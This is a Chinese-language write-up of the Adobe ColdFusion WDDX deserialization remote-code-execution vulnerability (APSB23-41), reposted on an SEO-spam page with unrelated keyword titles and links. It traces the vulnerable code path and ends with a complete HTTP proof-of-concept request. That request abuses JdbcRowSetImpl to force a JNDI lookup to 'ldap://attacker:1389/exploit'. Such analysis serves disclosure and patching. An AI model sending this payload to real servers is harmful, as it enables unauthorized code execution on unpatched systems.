当前位置: 首页 > news >正文

个人网页设计思路怎么写百度seo快速提升排名

个人网页设计思路怎么写,百度seo快速提升排名,温州网站设计服务商,怎样做网站服务器1.漏洞描述 Adobe ColdFusion是一种服务器端的Web应用开发平台。它由Adobe Systems开发,用于创建动态的、交互式的Web应用程序和网站。 Adobe ColdFusion在2018u17及之前版本、2021u7及之前版本和2023u1及之前版本中存在任意代码执行漏洞。该漏洞是由于反序列化不…

1.漏洞描述

Adobe ColdFusion是一种服务器端的Web应用开发平台。它由Adobe Systems开发,用于创建动态的、交互式的Web应用程序和网站。

Adobe ColdFusion在2018u17及之前版本、2021u7及之前版本和2023u1及之前版本中存在任意代码执行漏洞。该漏洞是由于反序列化不受信任数据漏洞的影响,可能会导致任意代码执行。攻击者可利用该漏洞对目标有针对性的发起攻击,危害站点系统安全。

2.影响版本

ColdFusion <=2018u17

ColdFusion <=2021u7

ColdFusion <=2023u1

3.影响范围

4.漏洞分析

我们通过git diff看到coldfusion.wddx.DeserializerWorker.java文件

这是一个XML 类型的WDDX数据包解码器。在startElement方法中DeserializerWorker,我们注意到新添加的验证是通过validateWddxFilter() struct参数执行的。

WDDX数据包的解析

<wddxPacket version='1.0'><header/><data><struct type='className'><var name='prop_name'><string>prop_value</string></var></struct></data></wddxPacket>

经过调试后发现Java 反射在某些代码块中被广泛使用,这表明用户输入将经历反射调用。

这是解析过程中有趣部分的代码流程:

 onEndElement() -> getClassBySignature() -> setBeanProperties()

在该方法中,如果 WDDX 数据包的结构元素中提供了 type 属性,则会对该字段onEndElement()执行检查

通过此检查后,将调用getClassbySignature(),它使用反射来获取类实例。类名源自用户控制的输入m_strictType

有了类名后,就可以使用反射来访问类的构造函数,没有参数的构造函数,并实例化类的实例。然后将此实例与用户控制的m_ht字段一起传递给setBeanProperties(),该字段包含WDDX变量。

如果bean有任何setter方法,它将被返回,并最终通过Java Reflections在bean上调用,变量的值是唯一的参数,这些变量的值来自用户控制的WDDX数据包。

在我们通过搜索WddxDeserializer的代码进行分析的过程中,我们发现了一个FilterUtils类的调用。

在GetArgumentCollection方法中使用的。从表单或查询字符串中提取argumentCollection参数。然后检查检索到的输入以确定它是否为JSON类型。如果不是,则使用WDDXDeserialize调用将该值反序列化为WDDX数据包。

在我们的分析中,预授权CFC端点触发对GetArgumentCollection的调用,并最终触发对易受攻击的接收器的调用,即WDDXDeserialize。

/CFDE/adminapi/accessmanager.cfc是预授权有效的cfc端点

我们选择了一个满足指定要求的简单类java.util.Date,我们在请求中创建了一个类似于以下内容的WDDX数据包。

我们能够确认对java.util.Date.setDate(our_input)的调用已成功执行。

我们看看com.sun.rowset.JdbcRowSetImpl类,如果将布尔参数传递给此类的setAutoCommit()方法,它将对dataSourceName执行JNDI查找,该查找可以使用setDataSourceName()方法进行设置。在调用setDataSourceName()之后再调用setAutoCommit()会导致JNDI注入漏洞。需要注意的是,在进行方法调用时,我们处于for循环中,因此我们能够在bean实例上调用多个方法。

我们通过WDDX反序列化升级到JNDI注入。

Poc:

POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2Host: localhostAccept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36Cache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 266argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xcom.sun.rowset.JdbcRowSetImplx'><var name='dataSourceName'><string>ldap://attacker:1389/exploit</string></var><var name='autoCommit'><boolean value='true'/></var></struct></data></wddxPacket>

5.修复建议

目前官方已发布新版已经修复此漏洞,并且为受影响版本发布了补丁,建议用户尽快升级至最新版本。

官方下载地址:

https://helpx.adobe.com/security/products/coldfusion/apsb23-41.html

http://www.mmbaike.com/news/47802.html

相关文章:

  • 织梦网站怎么做伪静态页面南宁seo公司哪家好
  • 政府网站配色腾讯搜索引擎入口
  • 东凤网站广告投放运营主要做什么
  • 去什么网站可以做ctf的题目免费网站推广网站在线
  • 有关电商网站开发的实习报告怎么优化自己公司的网站
  • 常德市网站建设国内的搜索引擎排名
  • wordpress 怎么切换主题seo顾问服务福建
  • 门户网站建设公司哪家好产品推广运营方案
  • 微信朋友圈推广怎么做网站网站怎么快速被百度收录
  • 陕西中洋建设有限公司网站移动广告平台
  • 手机社区网站模板网站关键词推广价格
  • 协会网站信息平台建设seo怎么做排名
  • 帮人做图挣外快的网站手机优化软件
  • 青海旅游的网站建设免费的发帖收录网站
  • 备案网站 cdn软件开发培训多少钱
  • 建网站需要买什么青岛网站建设公司电话
  • wordpress $wp_queryseo搜索优化邵阳
  • 网站建设中什么意思电脑优化系统的软件哪个好
  • 做网站需要服务器吗网络推广的调整和优化
  • 大连网站制作公司58百度sem竞价托管
  • 物流运输做网站的素材seo推广教程seo推广技巧
  • 做seo的网站有那些友情链接的网站图片
  • 推几个学习网站厦门网站到首页排名
  • 网站开发个人感想国内seo公司哪家最好
  • 网站被加入js广告国内最新十大新闻
  • 重庆免费推广网站市场推广方法
  • 如何自己做框架开发网站给公司建网站需要多少钱
  • 空间主机 建网站天津seo管理平台
  • 西安有哪些做网站建设的公司网站免费推广平台
  • 赶集网站建设多少钱百度关键词搜索推广